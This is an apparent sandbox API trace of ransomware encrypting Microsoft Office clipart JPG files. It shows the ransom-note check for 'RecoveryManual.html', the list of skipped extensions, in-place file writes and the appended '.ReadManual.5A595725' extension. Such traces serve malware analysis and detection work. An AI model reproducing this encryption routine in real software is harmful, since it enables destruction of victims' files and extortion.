[0269.677] StrStrIW (lpFirst="J0341551.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.677] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.677] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.677] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.677] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.677] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.677] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.678] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.678] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.678] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.678] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.678] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.678] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.678] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.678] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.678] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" [0269.678] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ReadManual.5A595725" [0269.678] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.ReadManual.5A595725") returned 87 [0269.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39034663764) returned 1 [0269.678] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg")) returned 0x20 [0269.678] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.678] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23126) returned 1 [0269.678] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a56, lpName=0x0) returned 0x184 [0269.678] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.679] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.679] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.681] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.682] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a56) returned 0x2f0000 [0269.682] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.682] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39035082914) returned 1 [0269.682] CloseHandle (hObject=0x184) returned 1 [0269.682] SetSecurityInfo () returned 0x57 [0269.682] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.682] CloseHandle (hObject=0x194) returned 1 [0269.682] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0269.682] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341554.JPG" | out: lpString1="J0341554.JPG") returned="J0341554.JPG" [0269.682] lstrcmpiW (lpString1="J0341554.JPG", lpString2="RecoveryManual.html") returned -1 [0269.682] StrStrIW (lpFirst="J0341554.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.683] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.683] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.683] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.683] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" [0269.683] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ReadManual.5A595725" [0269.683] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.ReadManual.5A595725") returned 87 [0269.683] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39035418372) returned 1 [0269.685] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg")) returned 0x20 [0269.686] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.687] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28483) returned 1 [0269.687] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f43, lpName=0x0) returned 0x184 [0269.687] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.687] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.688] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.689] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.690] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f43) returned 0x2f0000 [0269.690] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39035895709) returned 1 [0269.690] CloseHandle (hObject=0x184) returned 1 [0269.690] SetSecurityInfo () returned 0x57 [0269.690] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.690] CloseHandle (hObject=0x194) returned 1 [0269.690] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0269.691] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341557.JPG" | out: lpString1="J0341557.JPG") returned="J0341557.JPG" [0269.691] lstrcmpiW (lpString1="J0341557.JPG", lpString2="RecoveryManual.html") returned -1 [0269.691] StrStrIW (lpFirst="J0341557.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.691] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.691] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.691] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.691] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" [0269.691] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ReadManual.5A595725" [0269.691] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.ReadManual.5A595725") returned 87 [0269.691] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39035988622) returned 1 [0269.691] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg")) returned 0x20 [0269.691] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.692] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27304) returned 1 [0269.692] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6aa8, lpName=0x0) returned 0x184 [0269.692] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.693] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.693] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.695] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.695] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6aa8) returned 0x2f0000 [0269.695] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.695] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39036393621) returned 1 [0269.695] CloseHandle (hObject=0x184) returned 1 [0269.695] SetSecurityInfo () returned 0x57 [0269.695] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.695] CloseHandle (hObject=0x194) returned 1 [0269.695] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0269.696] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341559.JPG" | out: lpString1="J0341559.JPG") returned="J0341559.JPG" [0269.696] lstrcmpiW (lpString1="J0341559.JPG", lpString2="RecoveryManual.html") returned -1 [0269.696] StrStrIW (lpFirst="J0341559.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.696] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.696] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.696] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.696] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" [0269.696] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ReadManual.5A595725" [0269.696] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ReadManual.5A595725") returned 87 [0269.696] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39036487391) returned 1 [0269.696] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg")) returned 0x20 [0269.696] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.697] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26739) returned 1 [0269.697] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6873, lpName=0x0) returned 0x184 [0269.697] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.698] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.700] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.700] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6873) returned 0x2f0000 [0269.701] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.701] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39036955502) returned 1 [0269.701] CloseHandle (hObject=0x184) returned 1 [0269.701] SetSecurityInfo () returned 0x57 [0269.701] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.701] CloseHandle (hObject=0x194) returned 1 [0269.701] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0269.701] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341561.JPG" | out: lpString1="J0341561.JPG") returned="J0341561.JPG" [0269.701] lstrcmpiW (lpString1="J0341561.JPG", lpString2="RecoveryManual.html") returned -1 [0269.701] StrStrIW (lpFirst="J0341561.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.701] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.701] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.701] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.701] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.701] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.701] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.701] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.701] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.701] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.702] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.702] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.702] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.702] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.702] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.702] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" [0269.702] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ReadManual.5A595725" [0269.702] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ReadManual.5A595725") returned 87 [0269.702] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39037053928) returned 1 [0269.702] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg")) returned 0x20 [0269.702] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.702] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42135) returned 1 [0269.702] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa497, lpName=0x0) returned 0x184 [0269.702] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.703] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.703] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.705] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.705] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa497) returned 0x2f0000 [0269.707] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39037576341) returned 1 [0269.707] CloseHandle (hObject=0x184) returned 1 [0269.707] SetSecurityInfo () returned 0x57 [0269.707] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.707] CloseHandle (hObject=0x194) returned 1 [0269.707] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0269.707] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341634.JPG" | out: lpString1="J0341634.JPG") returned="J0341634.JPG" [0269.707] lstrcmpiW (lpString1="J0341634.JPG", lpString2="RecoveryManual.html") returned -1 [0269.707] StrStrIW (lpFirst="J0341634.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.707] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.707] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.708] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.708] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.708] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" [0269.708] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.ReadManual.5A595725" [0269.708] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 